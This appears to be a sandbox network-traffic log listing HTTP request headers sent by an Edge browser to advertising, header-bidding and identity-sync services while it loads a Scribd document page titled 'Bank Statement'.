Source: global traffic	HTTP traffic detected: POST /rtb/bid?src=prebid_prebid_9.23.0 HTTP/1.1Host: ap.lijit.comConnection: keep-aliveContent-Length: 3108sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /ut/v3/prebid HTTP/1.1Host: ib.adnxs.comConnection: keep-aliveContent-Length: 1221sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tag?h=freestar-io&upapi=true HTTP/1.1Host: btloader.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /hb?pid=3617&domain=scribd.com&ccpa=1-N- HTTP/1.1Host: hb.undertone.comConnection: keep-aliveContent-Length: 1121sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /openrtb/pbjs?s=1172225 HTTP/1.1Host: htlb.casalemedia.comConnection: keep-aliveContent-Length: 1859sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: OPTIONS /v1.0/parent/4d97a662ad/engagement/trigger/page_load HTTP/1.1Host: pb-ing.ccgateway.netConnection: keep-aliveAccept: /Access-Control-Request-Method: POSTAccess-Control-Request-Headers: content-typeOrigin: https://www.scribd.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Sec-Fetch-Mode: corsSec-Fetch-Site: cross-siteSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hbid/imp?displaymanager=Prebid.js%20-%20gumgum&displaymanagerver=9.23.0&lt=1739863205560&to=300&aun=scribd_adhesion&maxw=750&maxh=100&si=1016135&pi=3&bf=750x100%2C728x90%2C468x100%2C468x60%2C320x100%2C300x100%2C320x50%2C300x50%2C234x60%2C1x1&uspConsent=1-N-&schain=1.0%2C1!freestar.com%2C1651%2C1%2C%2C%2C&vw=1232&vh=910&sw=1280&sh=1024&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tpl=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ce=false&dpr=1&jcsi=%7B%22t%22%3A0%2C%22rq%22%3A8%2C%22pbv%22%3A%229.23.0%22%7D&ogu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ns=1382&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36%20Edg%2F117.0.2045.47&dnt=0&os=Windows&osv=10&dt=2&lang=en&make=&model= HTTP/1.1Host: g2.gumgum.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hbid/imp?displaymanager=Prebid.js%20-%20gumgum&displaymanagerver=9.23.0&lt=1739863205562&to=300&aun=scribd_adhesion&maxw=750&maxh=100&si=1016138&pi=3&bf=750x100%2C728x90%2C468x100%2C468x60%2C320x100%2C300x100%2C320x50%2C300x50%2C234x60%2C1x1&uspConsent=1-N-&schain=1.0%2C1!freestar.com%2C1651%2C1%2C%2C%2C&vw=1232&vh=910&sw=1280&sh=1024&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tpl=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ce=false&dpr=1&jcsi=%7B%22t%22%3A0%2C%22rq%22%3A8%2C%22pbv%22%3A%229.23.0%22%7D&ogu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ns=1382&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36%20Edg%2F117.0.2045.47&dnt=0&os=Windows&osv=10&dt=2&lang=en&make=&model= HTTP/1.1Host: g2.gumgum.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hbid/imp?displaymanager=Prebid.js%20-%20gumgum&displaymanagerver=9.23.0&lt=1739863205562&to=300&aun=scribd_adhesion&maxw=750&maxh=100&si=1016132&pi=3&bf=750x100%2C728x90%2C468x100%2C468x60%2C320x100%2C300x100%2C320x50%2C300x50%2C234x60%2C1x1&uspConsent=1-N-&schain=1.0%2C1!freestar.com%2C1651%2C1%2C%2C%2C&vw=1232&vh=910&sw=1280&sh=1024&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tpl=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ce=false&dpr=1&jcsi=%7B%22t%22%3A0%2C%22rq%22%3A8%2C%22pbv%22%3A%229.23.0%22%7D&ogu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ns=1382&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36%20Edg%2F117.0.2045.47&dnt=0&os=Windows&osv=10&dt=2&lang=en&make=&model= HTTP/1.1Host: g2.gumgum.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hbid/imp?displaymanager=Prebid.js%20-%20gumgum&displaymanagerver=9.23.0&lt=1739863205562&to=300&aun=scribd_adhesion&maxw=750&maxh=100&si=1016136&pi=3&bf=750x100%2C728x90%2C468x100%2C468x60%2C320x100%2C300x100%2C320x50%2C300x50%2C234x60%2C1x1&uspConsent=1-N-&schain=1.0%2C1!freestar.com%2C1651%2C1%2C%2C%2C&vw=1232&vh=910&sw=1280&sh=1024&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tpl=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ce=false&dpr=1&jcsi=%7B%22t%22%3A0%2C%22rq%22%3A8%2C%22pbv%22%3A%229.23.0%22%7D&ogu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ns=1382&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36%20Edg%2F117.0.2045.47&dnt=0&os=Windows&osv=10&dt=2&lang=en&make=&model= HTTP/1.1Host: g2.gumgum.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hbid/imp?displaymanager=Prebid.js%20-%20gumgum&displaymanagerver=9.23.0&lt=1739863205562&to=300&aun=scribd_adhesion&maxw=750&maxh=100&si=1016137&pi=3&bf=750x100%2C728x90%2C468x100%2C468x60%2C320x100%2C300x100%2C320x50%2C300x50%2C234x60%2C1x1&uspConsent=1-N-&schain=1.0%2C1!freestar.com%2C1651%2C1%2C%2C%2C&vw=1232&vh=910&sw=1280&sh=1024&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tpl=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ce=false&dpr=1&jcsi=%7B%22t%22%3A0%2C%22rq%22%3A8%2C%22pbv%22%3A%229.23.0%22%7D&ogu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ns=1382&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36%20Edg%2F117.0.2045.47&dnt=0&os=Windows&osv=10&dt=2&lang=en&make=&model= HTTP/1.1Host: g2.gumgum.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /a/api/fastlane.json?account_id=16924&site_id=499626&zone_id=2978060&size_id=2&alt_size_ids=1%2C19%2C39%2C43%2C44%2C117%2C221&us_privacy=1-N-&rp_schain=1.0,1!freestar.com,1651,1,,,&rf=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tg_v.id=6153141f-7ee9-4f73-a36b-ee3a444bcc92&tg_i.domain=scribd.com&tg_i.page=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tg_i.name=scribd-com&tg_i.cat=IAB5&tg_i.sectioncat=IAB5&tg_i.pagecat=IAB5&tg_i.mobile=0&tg_i.fs_optimized=false&tg_i.fs_site=6111&tg_i.fs_ad_product=stickyFooter&tk_flint=pbjs_lite_v9.23.0&x_source.tid=ab30c028-5f25-4614-920b-31c36845a021&l_pb_bid_id=1330981e779537b&p_screen_res=1280x1024&rp_secure=1&x_imp.ext.tid=1f51d5e0-1a92-45a4-8248-d7c431dd1a7e&p_site.mobile=0&rp_maxbids=1&m_ch_ua=%22Microsoft%20Edge%22%7Cv%3D%22117%22%2C%22Not%3BA%3DBrand%22%7Cv%3D%228%22%2C%22Chromium%22%7Cv%3D%22117%22&m_ch_full_ver=%22Microsoft%20Edge%22%7Cv%3D%22117%22%2C%22Not%3BA%3DBrand%22%7Cv%3D%228%22%2C%22Chromium%22%7Cv%3D%22117%22&m_ch_mobile=%3F0&m_ch_platform=Windows&slots=1&rand=0.8145932987168047 HTTP/1.1Host: fastlane.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: OPTIONS /bidRequest HTTP/1.1Host: c2shb.pubgw.yahoo.comConnection: keep-aliveAccept: /Access-Control-Request-Method: POSTAccess-Control-Request-Headers: content-type,x-openrtb-versionOrigin: https://www.scribd.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Sec-Fetch-Mode: corsSec-Fetch-Site: cross-siteSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: OPTIONS /j?dtstmp=1739863205766&did=did-0047&se=e30&duid=4b59e25de34b--01jmbyv9c0rf4g5m4sqh1c9y52&tv=9.23.0&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&wpn=prebid&cd=.scribd.com HTTP/1.1Host: rp.liadm.comConnection: keep-aliveAccept: /Access-Control-Request-Method: GETAccess-Control-Request-Headers: x-li-provided-user-agentOrigin: https://www.scribd.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Sec-Fetch-Mode: corsSec-Fetch-Site: cross-siteSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: OPTIONS /bidRequest HTTP/1.1Host: c2shb.pubgw.yahoo.comConnection: keep-aliveAccept: /Access-Control-Request-Method: POSTAccess-Control-Request-Headers: content-type,x-openrtb-versionOrigin: https://www.scribd.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Sec-Fetch-Mode: corsSec-Fetch-Site: cross-siteSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: OPTIONS /bidRequest HTTP/1.1Host: c2shb.pubgw.yahoo.comConnection: keep-aliveAccept: /Access-Control-Request-Method: POSTAccess-Control-Request-Headers: content-type,x-openrtb-versionOrigin: https://www.scribd.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Sec-Fetch-Mode: corsSec-Fetch-Site: cross-siteSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /exchange/prebid?pbav=9.23.0&p=%5B%7B%22placement_id%22%3A%22scribd_adhesion%22%2C%22callback_id%22%3A%223038b8ea70e3a94%22%2C%22sizes%22%3A%5B%5B750%2C100%5D%2C%5B728%2C90%5D%2C%5B468%2C100%5D%2C%5B468%2C60%5D%2C%5B320%2C100%5D%2C%5B300%2C100%5D%2C%5B320%2C50%5D%2C%5B300%2C50%5D%2C%5B234%2C60%5D%2C%5B1%2C1%5D%5D%2C%22ym_placement_id%22%3A%223316241398931333203%22%2C%22tid%22%3A%221f51d5e0-1a92-45a4-8248-d7c431dd1a7e%22%2C%22auctionId%22%3A%22ab30c028-5f25-4614-920b-31c36845a021%22%7D%5D&page_url=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&bust=1739863205688&dnt=false&description=Bank%20Statement%20-%20Free%20download%20as%20PDF%20File%20(.pdf)%2C%20Text%20File%20(.txt)%20or%20read%20online%20for%20free.%20&tmax=3000&userConsent=%7B%22gdprApplies%22%3A%22%22%2C%22cmp%22%3A%22%22%2C%22gpp%22%3A%22%22%2C%22gpp_sid%22%3A%5B%5D%7D&us_privacy=1-N-&pr=&scrd=1&title=Bank%20Statement%20%7C%20PDF%20%7C%20Debit%20Card%20%7C%20Automated%20Teller%20Machine&w=1232&h=910&schain=%7B%22ver%22%3A%221.0%22%2C%22complete%22%3A1%2C%22nodes%22%3A%5B%7B%22asi%22%3A%22freestar.com%22%2C%22sid%22%3A%221651%22%2C%22hp%22%3A1%7D%5D%7D HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /f?apiKey=2111098132&r=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement HTTP/1.1Host: fid.agkn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /websiteconfig?bt_env=prod&o=5714937848528896&w=scribd.com HTTP/1.1Host: btloader.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: OPTIONS /v1/hadron.json?_it=freestar&partner_id=474&sync=0&domain=www.scribd.com&url=https://www.scribd.com/document/806838445/Bank-Statement&v=06 HTTP/1.1Host: id.hadron.ad.gtConnection: keep-aliveAccept: /Access-Control-Request-Method: GETAccess-Control-Request-Headers: content-typeOrigin: https://www.scribd.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Sec-Fetch-Mode: corsSec-Fetch-Site: cross-siteSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /bidRequest HTTP/1.1Host: c2shb.pubgw.yahoo.comConnection: keep-aliveContent-Length: 1550sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"content-type: application/jsonx-openrtb-version: 2.5sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /bidRequest HTTP/1.1Host: c2shb.pubgw.yahoo.comConnection: keep-aliveContent-Length: 1549sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"content-type: application/jsonx-openrtb-version: 2.5sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /bidRequest HTTP/1.1Host: c2shb.pubgw.yahoo.comConnection: keep-aliveContent-Length: 1549sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"content-type: application/jsonx-openrtb-version: 2.5sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /j?dtstmp=1739863205766&did=did-0047&se=e30&duid=4b59e25de34b--01jmbyv9c0rf4g5m4sqh1c9y52&tv=9.23.0&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&wpn=prebid&cd=.scribd.com HTTP/1.1Host: rp.liadm.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"content-type: text/plainx-li-provided-user-agent: undefinedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /lb/v1 HTTP/1.1Host: lb.eu-1-id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hadron.js?partner_id=474&_it=prebid HTTP/1.1Host: cdn.hadronid.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /checksync.php?cid=8CUEHS6F9&cs=87&type=mpbc&cv=37&vsSync=1&uspstring=1-N-&gdpr=&gdprsting=&gpp=&gpp_sid=&redirect=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3Dmedianet%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D%3Cvsid%3E HTTP/1.1Host: hbx.media.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
